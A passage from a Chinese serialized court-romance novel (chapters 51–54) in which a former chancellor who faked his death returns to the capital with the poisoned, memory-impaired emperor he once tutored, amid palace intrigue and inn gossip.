宿泱挑眉,何清沥他知道,医术了得,但先帝过世之后,何清沥便也致仕回乡了。 没想到竟是在这里。 “见他做什么?”宿泱一边问,一边同林怀玉进门。 何清沥看到林怀玉,一喜:“你回来了?毒解了吗?” 他一边问,一边去搭林怀玉的脉,搭了好一会儿,眉头一皱:“怎么还是没解?” 林怀玉道:“没那么快,但应该有效果。” 何清沥点头:“是有,我还以为你都解好了,没想到还是一场长久的解毒,也是,你这毒都这么久了,解起来哪有那么容易。” 宿泱一边听,一边看着林怀玉。 林怀玉中了毒,而且好多年了? 他却一点风声都没有收到。 宿泱眼眸不禁沉了下来。 他的暗卫都是干什么吃的? 林怀玉笑着收回了手:“给陛下把个脉吧。” 何掌院瞥了宿泱一眼:“他怎么了?” 宿泱眸光一凝:“何掌院虽然已经致仕,但仍是我大雍的子民,见到天子竟是如此姿态吗?” 何清沥被宿泱的气势震慑,他感觉到宿泱的压迫感,虽然此前宿泱的压迫感并不少,但在林怀玉的面前,宿泱会收敛很多,但现在…… 何清沥吞了吞口水,行礼道:“见过陛下。” 宿泱这才收回目光:“罢了。” 林怀玉收到何清沥投来的疑惑的目光,摇了摇头:“把脉吧。” 宿泱又瞥向林怀玉:“朕的身体无恙,为何要把脉?” 林怀玉只道:“陛下不是想知道这一路上的疑惑吗?把完脉就知道了。” 宿泱挑了挑眉,坐了下来,伸出手,示意何清沥把脉。 何清沥虽然不知道发生了什么,但他也能察觉出来宿泱有些怪怪的。 他上前把脉,这会儿花的时间更久,眉头也拧得越来越紧。 宿泱的指尖在桌子上轻轻点了点,道:“何掌院是致仕回乡技艺生疏了吗?” 何清沥这才松了手,道:“陛下……陛下身体里怎么有四种剧毒?” 林怀玉一听,何清沥不愧是太医院掌院,医术高超,虽然解毒不行,但把脉的本事还是在的。 宿泱却皱起了眉头:“中毒?朕?” 他的目光不禁又落在了林怀玉的身上。 林怀玉又在玩什么把戏? 何清沥点头:“这四种剧毒在陛下体内形成了一种微妙的平衡,只能说,陛下真是……不幸中的万幸,能同时集齐四种毒在体内也是……挺厉害。” 宿泱看着何清沥,神色不变:“哦?那你倒是说说,这四种毒毒发是什么样子?” 何清沥如实道:“具体的我也说不好,毕竟我对毒没有太过了解,但根据脉象来看,可能会吐血,可能会神志不清,还可能记忆错乱,昏迷,头疼,都有可能,这四种毒会在陛下的身体里潜移默化地影响陛下的身体和精神。” 宿泱眸光一凝。 记忆错乱? 难道他真的中了毒?还是林怀玉在使什么手段?买通何清沥? 林怀玉在一旁也是若有所思,他接着问:“何掌院可知道怎么解?” 何清沥摇头:“不知。” 林怀玉本也没抱什么希望,术业有专攻,何清沥并不会解毒。 他重新看向宿泱,发现对方也正望着他,林怀玉道:“陛下何时回京都?” 宿泱道:“明日启程。” 只是何清沥的话,他不能信。 林怀玉从宿泱的眼中看出了对方对他的不信任,也没多说什么。 他现在说的再多,宿泱不信就是不信。 林怀玉便回了林宅,宿泱望着偌大的府邸,心里的疑惑更重:“林相在江南还购置了房产?准备日后致仕来这里住吗?” 林怀玉笑了笑:“算是吧。” 宿泱打量着此处,道:“还不错,不过……林相不准备留在京都吗?” 林怀玉步子微顿,淡淡道:“臣不会留在京都的。” 宿泱顿时看向了林怀玉:“为何?” 林怀玉浅笑着道:“如今河清海晏,四海升平,臣要做的已经做完了,唯一……” 林怀玉停下,看向宿泱:“唯一放心不下的,唯有陛下。” 宿泱心中一颤:“林相这是什么意思?” 他忽然觉得,自己似乎真的忘了些什么,他和林怀玉之间,似乎不只是势同水火的感情,林怀玉是佞臣,可这样一个手握大权的佞臣,却告诉他不会久留京都,这无疑是在告诉他,林怀玉无心那些权利。 那过往的算计利用都是什么? 林怀玉轻叹:“陛下体内的毒,臣放心不下,它始终是个隐患,臣这次同陛下回京,待解决了陛下体内的毒,臣便会自行离京。” 宿泱眸光微动:“你的意思是,你回京都是为了朕的毒?可你是我大雍的丞相,莫非准备下个江南就此不回去了?” 所以,还在这里买了宅子? 林怀玉轻笑:“陛下,臣早就不是大雍的丞相了。” 50-60 第51章 第 51 章 终究又回京都了 蜻蜓点水, 掠过荷叶,日光照在池塘水面,波光粼粼。 宿泱在那一刹那, 眼底浮现出一丝不解。 他望着林怀玉,对方的神情不似作假, 语气中也没有诸多遗憾, 似乎对于这件事没有半分不满。 他良久才开口:“林相如何就不是大雍的林相了?” 林怀玉悠悠道:“陛下亲口说的,又不记得了?” 宿泱立刻反驳:“朕何时说过?” 他说完又觉得自己的反应有些过于异常了。 林怀玉让出丞相的位置, 大权被他尽数捏在手里,这于他而言是天大的好事才对。 可他这会儿听了林怀玉的话,看着林怀玉淡然的神色, 竟觉得不该如此。 林怀玉, 这人就应该是大雍的丞相,从前是, 现在是,以后也是, 没人能代替他。 林怀玉浅笑道:“陛下如今中了毒, 记忆混乱, 个中情由臣就不多解释了, 但臣确实已经不是大雍丞相了。” 宿泱呼吸一滞, 又问:“是朕废了你,还是你自请辞官?” 林怀玉垂眸, 并未说话。 宿泱便猜到了,是他金口玉言, 废了林怀玉丞相之位。 不知怎的,想到这个答案,他竟然觉得心口闷得很。 可他如今竟已经有能力废了林怀玉, 他应该高兴才对,从今往后,这大雍再也没有能够掣肘他的人了。 “那朕为什么要废了你?”宿泱听见自己如是道。 他能废了林怀玉的原因有很多,其中最大的原因必然是想收权,可他还是想听听自己废了林怀玉的原因。 林怀玉眸光轻抬,却只道:“陛下回去问问德福公公便知。” 宿泱闻言,立刻道:“你不准备同朕回京了?” 林怀玉摇了摇头,他望着池塘中满池和荷叶与盛放的荷花,没去看宿泱:“陛下的毒尚不知情况,我还是得跟着陛下回去看看。” 他也正好回去一趟,告诉住持自己的毒解了,再联系梵尘,让对方回来。 宿泱看着林怀玉,心中微动。 林怀玉没有必要骗他,既然已经不是大雍的丞相,现在同他回京,便只是因为……他? 林怀玉心狠手辣,诡计多端,城府颇深,明明把着大权不肯放手,他们之间应当是势同水火。 林怀玉为何突然对他好? 宿泱抿唇,应了一声:“朕去看看水患的工作,林相……你要跟朕一起吗?” 林怀玉摇了摇头,朝屋子里走去:“我对方知许的办事效率还是有信心的。” 宿泱也不强求,看了林怀玉的背影一眼,转身离开了。 林怀玉其实也没有什么要收拾的东西,只是将屋子里的东西整理了一下。 林飞站在门口,问:“先生真的要和陛下回京都吗?” 林怀玉颔首:“现下是不得不回去一趟了。” 林飞望着林怀玉的身影,忽的又问:“先生其实……挺在乎陛下的。” 林怀玉收拾东西的动作微顿,随即又淡淡道:“朝夕相处这么多年,说不在乎才是骗人的。” 林飞抿着唇,替林怀玉委屈:“可是他呢?朝夕相处这么多年,为了自己的一己私欲,禁锢先生,逼得先生假死脱身,那时候身体每况愈下,如今虽然能治好了,可……可是那些痛苦都是真的啊!” 林怀玉转身,看着林飞噘着嘴靠着墙,一脸委屈地望着他,不知道的还以为,受伤的是林飞。 林怀玉笑了笑:“如今陛下记忆混乱,中毒罕见,我回去只是为了他的毒,不为别的。” 林飞狐疑地看着他:“真的?万一……万一陛下记忆回来了,又把你关在皇宫里怎么办?” 林怀玉眸光微凉:“他不敢。” 林飞看着林怀玉那气定神闲的模样,心底倒是松了一口气。 先生胸有成竹,既然这样说了,必定不会被困住。 但他还是不放心:“我和先生一块儿回去吧。” 林怀玉笑了起来,说了半天,林飞是想说这个,他道:“我何时说过不带你了?你不在我身边,谁保护我?” 林飞的眼睛忽的就亮了,林怀玉去大楚没带上他,让他守着江南等梵尘的消息,他以为京都之行,林怀玉也不会带上他。 林飞立刻欢天喜地道:“太好了!” 林怀玉看着林飞孩子心性,笑着摇了摇头。 第二日一早,林怀玉让林飞备了两辆马车,林怀玉同林飞一辆,宿泱一辆。 林飞看着林怀玉,问:“先生,这次去了京都,咱们还回来吗?” 林怀玉看着窗外的林宅,道:“自然会回来的。” 林飞似乎松了口气:“对啊,丞相府如今不是我们的了,咱们到了京都住哪?” 林怀玉经他提醒,也想起这事来,他思索着道:“那就选个清净点的地方买一座宅子吧。” 林飞幽怨地看着林怀玉:“咱们在江南买完了宅子,哪里还有钱去京都买一间?” 林怀玉失笑:“我们没钱了吗?” 林飞重重点头:“那他们送来的金银珠宝先生你又不收,那些药材也都被先生吃光了,咱们还剩什么?” 林怀玉不禁叹了一口气:“完了,我们去京都要流落街头了。” 林飞看着林怀玉唇畔那抹浅笑,瞪大了眼睛:“您怎么还笑得出来呢?” 林飞沉思了好一会儿,才无可奈何道:“实在不行,要不您去和陛下商量一下,先在宫里借住两天?” 林怀玉眉头轻扬:“你现在不怕他又把我关在宫里不出来?” 林飞笑笑:“您不是说他不敢了吗?” “不敢什么?”窗外忽的传来宿泱低沉的声音,林怀玉转头望去,宿泱正站在马车外,饶有兴致地看着他。 林怀玉问:“陛下怎么过来了?” 宿泱其实自己也不知道怎么就从另一辆马车下来,非得来找林怀玉,可他觉得自己一辆马车过于冷清,这里却是带了点欢声笑语,让他不由得想过来。 “朕有事和你说。”宿泱说着,目光落在了林飞身上。 林飞看了林怀玉一眼,那如有实质的目光令他觉得难以抵抗,在看到林怀玉点了头,他便下了马车,把空间让给了宿泱。 林怀玉看着宿泱在对面坐下,问:“陛下有何事?” 宿泱想了想,问:“朕是不是忘了些什么东西?” 林怀玉眉头一扬,看向宿泱,眼底闪过一丝诧异:“陛下也会怀疑自己了吗?” 宿泱摇头:“不是怀疑自己,只是从大楚回来,朕觉得和林相……和你之间,与以前不大相同,朕曾以为是你在暗步棋局,但这些日子又觉得,你是真的和以前不一样了。” 林怀玉笑了笑:“我说过,我想做的已经做完了,只要陛下好好做一个明君,心系天下百姓,我此生便无牵挂了。” 宿泱就这么看着林怀玉靠在马车壁上,神色淡淡的,仿佛一切都与他不相干。 这样的林怀玉与那个满腹心机的林怀玉实在太不一样了。 宿泱低笑了一声:“这话听着怎么像是说朕不会是一个明君?” 林怀玉突然抬眸看了他一眼,问:“陛下会做一个明君吗?” 宿泱挑了一下眉头,反问林怀玉:“在你心里,朕如今还并不是一个明君?” 林怀玉道:“是,也不是。” 宿泱顺着他问:“怎么是?怎么又不是?” 林怀玉的目光望着宿泱,可那眼神好似在看他,又好似不在看他。 林怀玉半晌道:“或许等陛下的毒解了,我才能回答陛下这个问题。” 宿泱听来,这话却有别的意思:“你是不想让朕死,所以才用这个答案吊着朕?” 林怀玉原本倒没这个心思,现下想了想,又觉得也可以有这层意思。 他淡淡道:“那陛下早日解毒,取得答案。” 宿泱却是一愣,他方才也不过是随口这么一说,没成想林怀玉是真的这样想的。 这世上,从小到大没几个人希望他活着,他的母亲厌恶他,他的父亲憎恨他,那些宫人更是将他当做发泄情绪的工具,即便他如今已是九五之尊,可他知道,仍旧没多少人在意他的死活。 可眼前这个本该和他站在对立面的佞臣,被他废了丞相之位,却希望他活着。 何其讽刺。 “你还想做丞相吗?”宿泱忽然问出了这句话。 他其实并不知道自己为什么会问出这句话,明明林怀玉被他废了丞相之位对他而言百利而无一害,他重新提这事做什么? 可他就是觉得,林怀玉便该站在那个位置上,辅佐他,与他一起整治朝纲。 而不是在那江南小镇埋没半生。 林怀玉看了宿泱一眼,却摇了摇头:“不想。” 宿泱皱起了眉头:“林怀玉,你当初进京是为了什么?” 林怀玉笑了,这人竟准备教训起他来了,还要同他聊曾经的梦想吗? 林怀玉还真回忆了一下,道:“我进京……是为了活下去。” 宿泱:“……” 宿泱一时语塞。 林怀玉却轻笑了起来,不得不说,宿泱这模样,和太子时期有些相似。 宿泱看着林怀玉笑,方才要问什么都忘在了脑后,他头一次知道,看到一个人笑,原是这样愉悦的事。 他也忽然发现,他很喜欢见到林怀玉笑。 “你能再笑一下吗?”宿泱望着林怀玉,忽然这么问。 林怀玉瞥了他一眼,淡淡道:“陛下若是沉迷美色,也算不得一个明君。” 宿泱再度语塞。 一晃五日,马车终于到了京都城门口,那“京都”两个人衬得这座城池格外繁华。 林怀玉掀起窗帘看着城门,跟着马车一点点进去。 终究还是又回来了。 第52章 第 52 章 挺疼的 艳阳高照, 地上的石砖都反射着粼粼波光,好似盯着那太阳,多瞧几眼, 眼睛都受不了。 宫门口,德福正在那里翘首以盼, 终于看见一辆马车缓缓驶来, 随即停在了宫门口。 他抬眼望去,马车上下来一道颀长的身影, 轻轻一跃,稳稳落在地上。 正是宿泱。 他连忙迎了上去,刚跨出一步, 只见宿泱并未朝这里走来, 而是转了个身,站在原地, 望着马车上,好似在等人。 德福心底一跳。 这天底下能让陛下等的人, 恐怕只有那一位。 他没猜多久, 马车的帘子掀开, 只见一道削瘦的人影探了出来, 那一抹熟悉的紫色身影从马车中出来, 正是林怀玉。 德福眼睛一亮,看着宿泱上前去扶林怀玉, 他也连忙上前:“陛下,您终于回来了。” 宿泱没看他, 只应了一声。 德福又看着林怀玉,激动得热泪盈眶:“林大人!您真的没死!” “呸呸呸!您还活……啊不,您没事真的是太好了。”德福一连几句话说得磕磕绊绊的, 险些忘了避谶得罪贵人。 林怀玉浅笑着点了点头。 宿泱抬步要走,却见林怀玉没有跟上的意思,他转身望向对方,问:“你不进去吗?” 林怀玉轻声道:“我还得和林飞去安顿住处,陛下回了宫自有人照料,我在也没什么用。” 宿泱皱了皱眉,瞥了德福一眼,走回去拉住林怀玉的手:“安顿什么住处,丞相府不好吗?” 林怀玉笑道:“陛下又忘了?我已经不是丞相了,这丞相府自然也收回去了。” 德福十分有眼色道:“丞相府一直空着,还有专人打扫,都是陛下之前吩咐了的,也没有收回来,林大人要回去住,陛下定然乐意。” 林怀玉眉头轻扬,他看着宿泱,对方并未回头,但耳尖却泛了点红。 林怀玉轻笑了一声。 已经很久没见过宿泱这般不经逗的时候了,许是做太子的那段时间,林怀玉也总喜欢开玩笑,登基之后宿泱反而脸皮厚了。 宿泱听着林怀玉的轻笑声,抿着唇接着往前走。 “只可惜我已经不是大雍丞相,住丞相府恐怕不合适,届时朝堂之上怕是会有有心之人弹劾陛下了。”林怀玉走在后面,如是道。 宿泱没接话,只对德福道:“传周历来。” 德福只好应了一声,朝太医院而去。 林怀玉自然知道宿泱要做什么,挣开了宿泱牵着他的手:“我留在宫里做什么?” 宿泱道:“你不是因为朕才回来的吗?你不看着朕,住哪里去?丞相府你不住,那就留在宫里吧。” 林怀玉眸光轻颤,神色顿时冷了下来:“我不住宫里。” 宿泱见状,问他:“为何?” 林怀玉却并没有解释。 宿泱点了点头,无奈道:“又是朕不记得了,是吗?” 林怀玉转移了话题:“陛下还是先打算一下自己身上的毒该怎么办吧。” 宿泱定定地看着林怀玉,问:“若是朕真的死了,你应该会很高兴吧?” 林怀玉皱起了眉头:“我若是会高兴,何必同陛下回京都?” 宿泱便顺着问:“那你为什么这么在意朕的生死?” 连他最亲近的人都不在乎他,林怀玉为什么这样在乎他? 林怀玉只是淡淡道:“因为大雍需要陛下。” 宿泱眸光一垂,他看着林怀玉,忽的朝对方逼近:“大雍需要朕,和你在乎朕的生死有什么关系?” 林怀玉就这么一步一步被宿泱逼到了桌子边上,只差一步,他的腰就会磕到桌子边。 想象中的疼痛并没有传来,反而撞在了一处软物上。 林怀玉低头看了一眼,是宿泱伸了手,垫在了他的腰后。 但与此同时,他们之间的距离也被拉得极近。 宿泱看着林怀玉,等着林怀玉的回答。 林怀玉只好侧过头,避开宿泱的目光,道:“我希望大雍国泰民安,陛下若是出事,势必又要动荡。” “只是这样?”宿泱紧紧盯着林怀玉,问。 林怀玉被对方盯得受不了,将人推开:“不然陛下以为是什么?” 现在的宿泱不同以往的强势,林怀玉不过轻轻一推,宿泱便自己退开了,只是他的目光仍旧停留在林怀玉的身上:“朕还以为……” 他话没说完,外头响起了德福的声音:“陛下,周掌院过来了。” 宿泱只好道:“让他进来。” 周历一进门,看到林怀玉,陡然睁大了双眼。 林怀玉真的没死?!陛下不是在痴人说梦啊。 可是那天的大火明明是他亲眼所见,那火势足以将人烧成灰烬,宫人们扑了好久都扑不灭那大火,林飞又在外面,林怀玉怎么逃出来的? 更何况他当时诊脉,林怀玉的毒已经无药可救,那时候林怀玉吐血不止,根本走不了啊。 林怀玉感受到周历震惊的目光,浅笑着朝他点了点头。 周历强忍着想去给林怀玉把脉的冲动,对宿泱行礼:“陛下。” 宿泱坐在书案前,道:“给朕把个脉。” 周历一愣,但也没说什么,将药箱一放上前给宿泱把脉。 旁边的德福一听,连忙问:“陛下,您怎么了?” 宿泱摇了摇头,没说什么。 林怀玉倒是在一边悠闲地喝起了茶。 唯有周历,给宿泱把脉的这么一会儿,眉心已经皱得连成了一条线。 宿泱看着周历这副表情,心底一沉。 看样子,林怀玉没有骗他,何清沥也并不是被林怀玉收买。 何清沥半晌才收回了手,他望着宿泱,声音有些抖:“陛下……您这……” 宿泱淡淡道:“但说无妨。” 何清沥只好道:“陛下体内怎么中了四种毒啊?” 德福一听,连忙跑到宿泱身边:“陛下中了毒?!” 他刚一喊,意识到什么,又突然捂住了自己的嘴。 宿泱脸上却没有任何惊讶的神色。 “继续说。”宿泱道。 周历叹了一声:“恕臣无能,这四种毒每一种都是剧毒,且臣也不知如何解开,万幸的是,这四种毒在陛下体内相互制衡,陛下暂时不会有性命之忧。” 宿泱垂眸,这话与何清沥说的一般无二,不愧是何清沥带出来的徒弟。 他点了点头,吩咐道:“此事不可外传,倘若有第五个人知晓此事,朕绝不饶你。” 周历连忙道:“臣明白。” “解毒之法务必尽快找到。”宿泱又道。 周历只能应下,但他知道此事十分难办。 周历离开后,德福看了看宿泱,又看了看林怀玉,两个人都十分淡定,想来是早就知道这事,他面上焦急,却也说不了什么。 林怀玉放下茶盏,起身道:“既然陛下已经诊过脉了,在下便先告辞了。” 宿泱也连忙起身:“何必如此麻烦,你不是因为朕的毒才回京都的吗?不如朕让人收拾间寝宫出来,你既然不愿回丞相府,那外面哪里有宫里住得舒服?” 林怀玉步子一顿,还没开口,宿泱又接着道:“还是说,林先生嫌弃宫里住的不好?又或者下人服侍不到位?” 德福在旁边一看,连忙道:“哎哟,奴才们可不敢啊,知道是林大人,咱们哪里敢不尽心尽力啊。” 林怀玉自然听得出德福当着他的面演戏呢,不过宿泱说的也没错,他回京都就是为了看着宿泱,如今只是记忆混乱,还没到彻底毒发的时候,他还不知道宿泱毒发会是什么模样,以防万一还是看着对方比较好。 林怀玉这样想着,转身道:“既如此,在下恭敬不如从命了。” 德福在一边问:“那陛下,奴才还是带着人把沁春宫收拾一下?” 宿泱眉头一挑,看向德福,点了一下头。 虽然不知道为什么是沁春宫,但看德福如此熟稔的模样,林怀玉还真没说错,他们之间果真有什么被他遗忘的记忆。 宿泱便道:“朕也去沁春宫看看。” 林怀玉原本想拒绝,但看宿泱这副模样,只好先将话咽下。 罢了,宿泱如今没有那段记忆,沁春宫便沁春宫吧,他既然都回了京都入了皇宫,住哪里又有何妨? 林怀玉和宿泱一块儿到了沁春宫,院子里的一草一木都丝毫未变,林怀玉看着,眸光微动。 他知道自己那一把火有多猛烈,他还特地让林飞压着太医和宫人不准去通报,就是为了让那大火烧得能将他化为灰烬才好。 可如今这沁春宫原木原样的出现在他的面前,说没有丝毫触动那是假的。 林怀玉走到屋子里,推开门便看见里面原样的场景,仿佛这沁春宫从未损毁过。 除了那书案之上,已然没有了他的手稿。 他走进里面,只见书案上一尘不染,看样子是有宫人每日在这里打扫。 德福说也有人每日打扫着丞相府…… 林怀玉垂了垂眸,心底不知是什么滋味。 “陛下!” 身后突然传来德福慌乱的声音,林怀玉回头,瞳孔一震。 只见宿泱望着沁春宫里头,整个人却仿佛僵在了原地,他眉头皱得死紧,面上显露出十分的痛苦来。 好半天,一口鲜血从他的口中吐出,宿泱猛的捂住了头,扶着门框跪了下来。 林怀玉走了过去:“陛下?你怎么了?” 宿泱没能说话,只是闷哼了一声。 林怀玉连忙对德福道:“去请周掌院。” 德福应了一声,火急火燎地朝着太医院跑。 林怀玉正要动,却被宿泱一把扯住了袖子,拽了回去。 林怀玉猝不及防地跌在了宿泱的身上,两人靠在门框上,林怀玉听到了宿泱砸在门框上的声音。 应该挺疼的。 第53章 第 53 章 你背后有我 通透的阳光照射在门口, 在石砖和门框上投下一片光亮。 门边上倒着的两个人,一个还压在另一个人的身上。 林怀玉看着宿泱,问:“陛下没事吧?” 宽大的衣袍似乎都缠在了一起, 层层叠叠堆着,林怀玉正要站起来, 又被宿泱拉着。 那人低声道:“别走……” 语气里藏的是无尽的痛苦。 林怀玉眸光微顿, 语气有些淡:“周掌院一会儿就过来了,陛下站不起来了吗?” 宿泱咬着牙, 道:“头疼。” 林怀玉想起之前闯入于思的屋子,见到墙壁上的血迹,分明是宿泱用头砸出来的, 说不定除了毒, 他砸的那几下也把脑子砸坏了。 林怀玉感觉到对方攥着他的衣袖很紧,紧得连褶皱都攥出来了。 林怀玉看了宿泱半晌, 问:“很疼吗?” 宿泱点了点头,咬着牙道:“很疼。” 林怀玉却忽然冷了脸, 轻笑了一声:“就这么点疼, 陛下就受不了了?” 宿泱闻言, 先是一愣, 他抬起头缓缓看向林怀玉, 眸光中有些难以置信。 但随即他也忽的笑了一声:“你说得对,老师。” 林怀玉一听, 便知对方已经想起了他们之间的那些腌臜事。 他甩开宿泱的手,从宿泱身上起来, 自顾自整理了一下衣袍,周历也正好这时候到了。 他看了一眼地上的宿泱,又看了一眼站着的林怀玉, 暗暗心惊。 林大人莫不是回来报仇的吧?陛下落到林大人手里,岂不是任打任杀? 宿泱这会儿已经昏过去了,靠在门框边不省人事。 林怀玉瞥了一眼,对周历道:“看看他怎么回事。” 周历立刻点了点头,跪在地上给宿泱诊脉。 好半天,周历道:“没什么事,大概是因为来了沁春宫,触景生情,气血翻涌,血液里的毒有些乱了,这才昏了过去。” 林怀玉颔首:“死不了就行。” 他转身离开了沁春宫。 既然宿泱都记起来了,他更不能住沁春宫了。 周历看着林怀玉离开的背影,一时语塞,这世上也就林怀玉敢说陛下死不了就行这种话了。 林怀玉出了宫,终究没有再留在宫里,林飞来接他:“先生,我先在客栈定了房间,等寻到合适的屋子再搬过去。” 林怀玉看了他一眼:“不是说没钱了吗?” 林飞笑了一下:“虽说是没钱了,但总不能让先生露宿街头吧。” 林怀玉同林飞朝着客栈走去。 “陛下都多少日没上朝了啊?”有人在客栈里头边吃着花生米,边低声道。 另一个人道:“我听说陛下压根不在京都,别说上朝了,那些大臣进宫也都被德福公公推了。” “我还听说……陛下是病了!” 另一个人摆了摆手,连忙道:“这可不兴胡说!咱们陛下正值青年。” “你道是什么病?相思病!” 另一人闻言,笑了笑,又道:“前阵子那些通缉令都撤了,换成了寻名医的告示,你说,陛下是找到了林大人,还是没找到啊?” “肯定没找到啊!人都死了,哪里还能找到?八成是找不到,陛下便相思成疾,一病不起,宫里的太医治不好,故而遍寻名医呢!” 林飞听着他们如此议论,默默地找到了林怀玉身前,替他挡着。 林怀玉看了他一眼,将人推开:“我是见不得人吗?” 林飞一愣:“……” 好像也不是哦。 林怀玉径自朝楼上走去,林飞连忙跟上。 那议论的两个人许是听到了动静,朝着林怀玉望了过来。 一人连忙拍打着同伴:“那个人!那个人好像是林大人啊!” 那同伴转身,已经看不到林怀玉的身影,他道:“你是不是眼花了?林大人早死了,你怎么可能看见他?” 那人急道:“不可能!那人也太像了!绝对是!” 另一人道:“他要真是林大人,怎么可能住客栈来?我可是听说丞相府一直空着,还有专门的人打扫,若是林大人回来,怎么可能不住丞相府呢?” 这边议论纷纷,倒是不影响林怀玉坐在床上,林飞整理着东西,问林怀玉:“陛下没有留您住在宫里吗?” 林怀玉淡淡地瞥了他一眼。 林飞立刻闭上了嘴。 也不知怎的,林怀玉回京的消息突然就传开了,有鼻子有眼的,甚至还传闻林怀玉就住在悦来客栈里。 客栈一下子就被人订满了,一楼也坐满了人,多的是吃了半天不肯走的,只为一探究竟。 这人明明都死了,这世上哪来的起死回生? 一楼吵吵闹闹,一半怀疑的人在那里不信邪。 “我今天还非得看见那个人,瞧瞧他究竟是不是林丞相。” “要真是……咱们不都把人得罪了?” “是啊,那可是林怀玉林丞相啊!要真是他回来了,京都又该掀起一阵腥风血雨了。” 然而,就在众人或惊惧或怀疑中,有人忽然扬声道:“林大人真是可怜呐!” 众人顿时望向了他,只见那人坐在角落里,气定神闲的模样,也不像是来吃饭的。 他们问:“你这话什么意思?林丞相哪里可怜了?” 那人道:“林丞相明明是位为国为民的好官,怎么在你们京都之人口中,却成了一个人人避之不及的奸佞?” “他本就是!若不是他,那京都皇城一夜之间血流成河,地上的砖缝里都是血,怎么说?” 那人淡淡道:“可若不是他,当今圣上如何能轻而易举登基称帝呢?” 他又道:“若不是他,皇城内乱又怎么会这么快结束呢?” 他们顿时道:“皇家之事,岂容我们议论?!” 那人嗤了一声:“不敢议论也私下议论多回了,还差这一回吗?” 众人又道:“既然这事对陛下有利,可他也是为了自己大权在握,把持朝政!” 那人又问:“那林大人做过什么伤天害理之事吗?” 众人想了半天,道:“他将朝中众位大臣搅得不得安宁,那前任户部尚书多好的一个人啊,他说下狱就下狱,说砍头就砍头,这天下是他一个人的天下吗?!” 那人便道:“那户部尚书什么亲民都是演的,实则借着职位贪墨,你们无知不代表这事就是对的,林大人斩一个贪赃枉法之臣有什么错?” 众人一阵无言,有人道:“那户部尚书都已经死了,你们要颠倒黑白,谁跟你们争论?!” 那坐着的人又问:“那林大人可有害过你们吗?前面科举,林大人抓了那么多卖官鬻爵的奸臣,你们不去唾弃他们,反而骂林大人?” 这一下众人倒确实没了声,可林怀玉在他们心里,就是一个把控朝堂,颠倒是非的奸佞。 他们不再与这人废话。 倒是二楼的林怀玉和林飞将这些话听了个一清二楚。 林飞关上窗:“这人是谁啊?居然为先生说话!” 林怀玉只是放下茶盏,道:“你去查查他。” 林飞点头:“是,不过这人为先生说话,想必是真心相信先生的,我还从来没再京都见到敢公然为先生说话的人,这人还挺有胆气的。” 林怀玉瞥了他一眼:“你还挺欣赏他。” 林飞道:“那当然!只要是站在先生这边的人,我都喜欢!” 林怀玉笑了笑。 没一会儿,林飞又愁了起来:“到底是哪个大嘴巴传的先生在这里啊,咱们都出不去了!” 林怀玉倒是一脸无所谓:“不过是起死回生让人想一探究竟,其中不乏是朝中官员的人来探底的,他们想知道,究竟是不是我回来了,毕竟宿泱这两年一直坚信我没有死,那些大臣虽然嘴上说我已经死了,心里却会被宿泱的种种行径也带动,如今又传出了这样的风声,势必是要弄清楚的。” 林飞点头:“原来如此,我当那些百姓是真闲的呢。” 林怀玉淡淡道:“去找小二买些吃的吧,只要陛下那边没有毒发的消息,我们也可以不出去的。” 林飞倒是没什么,他有武功,轻功也很好,上个房顶随意离开。 等到他再回来的时候,林怀玉都快睡着了。 林飞道:“这外头的人可真有毅力,还不走。” 林怀玉浅笑着:“我若是他们,也必定要得到答案才能安睡啊。” 林飞将菜放到桌上,道:“客栈老板都笑开花了,说店里的生意没这么火热过,全是托了先生的福。” 林怀玉笑着摇了摇头,无奈道:“这倒是非我所愿。” 林飞道:“那个人,我查到了。” 林怀玉面上不动,夹着菜随意道:“嗯。” 林飞只好自己继续道:“他似乎是陛下的人。” “我跟着他一路看着他进了皇宫,最后找上了德福公公。” 林怀玉脸上没有丝毫惊讶的表情,仿佛早就猜到一般。 林飞看着林怀玉这般,只道:“先生知道?” 林怀玉没点头也没摇头:“这京都能在大庭广众之下为我说话的人本就不多,普通百姓即便心中有那么一丝向着我,也绝不敢和众人为敌,那人要么背后有人,要么是不想过安稳日子了。” 林飞抿唇:“我背后没人,我就敢说!” 林怀玉笑着看他:“你背后是我啊。” 林飞怔怔地看着林怀玉,半晌耳朵竟然红了。 林怀玉看着林飞不经逗的模样,不禁笑道:“我什么也没说,你脸红什么?” 林飞直接转过了身。 他家先生自己是不知道自己多能撩拨人!!! 就顶着那样一张绝色倾城的脸,冲着他微微笑着,同他说“你背后有我”!!! 谁顶得住!!!! 第54章 第 54 章 林怀玉是真的不在乎他了…… 天色微暗, 夏日的太阳将一整日拉长,黑夜变得短暂。 林飞好不容易缓和了,转过身重新回到林怀玉身边:“可是就一个人这么说, 也动摇不了百姓心里您的印象啊,有什么用?要这真是陛下的安排, 也太……” 林怀玉笑道:“是他的安排, 不过,他自然知道, 冰冻三尺非一日之寒,反之亦然,今日这一出不过是为了在人心中安下一颗种子, 待来日生根发芽罢了。” 林飞了然:“原来是这样。” 林怀玉点了点头, 其实宿泱应该还有一个曾意思,那些朝中大臣知晓了今日发生的事, 自然也会去查这个人,宿泱做的如此明显, 为的也是告诉所有人他对林怀玉的态度。 林怀玉垂着眼眸, 在客栈安心住着。 第二日一早, 客栈里的人少了一些, 宫里却来了人。 众人一看, 竟是德福公公亲自来了。 “德福公公都来了,那必定是林大人了吧?” “这世上竟真有起死回生之事?” “说不定就是没死啊!” “可是林大人假死是为了什么呢?” “你不知道陛下知道林大人死后那副模样吗?据说林大人死之前一直在宫中不曾出宫, 这之间的联系,你细想想呢?” “莫不是……陛下他对林大人……是那种心思?!” “陛下这么多年不曾立后, 大抵就是为了林大人吧?” “可林大人是他的老师,陛下就算有那心思,林大人也不同意的吧?” “所以啊, 林大人这不就假死脱身了吗?” “那他既然已经跑了,怎么又回来了呢?” “那谁知道呢?说不定是陛下这两年寻找林大人,还真找着了。” 德福走在楼梯拐角处,朝着身后的侍卫使了个眼色,随后才敲了敲林怀玉的门:“林大人,您在吗?” 房门被林飞打开,德福笑眯眯看着他:“林大人在吗?” 林飞让了让位置,露出了身后林怀玉的身影。 德福连忙进了门,道:“林大人,陛下让奴才来请您进宫呢。” 林怀玉淡淡道:“他怎么了?” 德福轻叹了一口气:“陛下不太好,昨夜一直念着林大人呢,今个儿早上终于醒了,咱家就马不停蹄地来请林大人了。” 林怀玉唇畔挂着浅笑,他起身朝门口走去,德福松了口气,正要跟上,下一秒听见林怀玉道:“陛下若是要死了,劳烦公公来告诉我一声,旁的便不必了。” 林怀玉今日确实要出门,他要去一趟灵山寺。 林飞早早备好了马车,他出了客栈便朝城外而去。 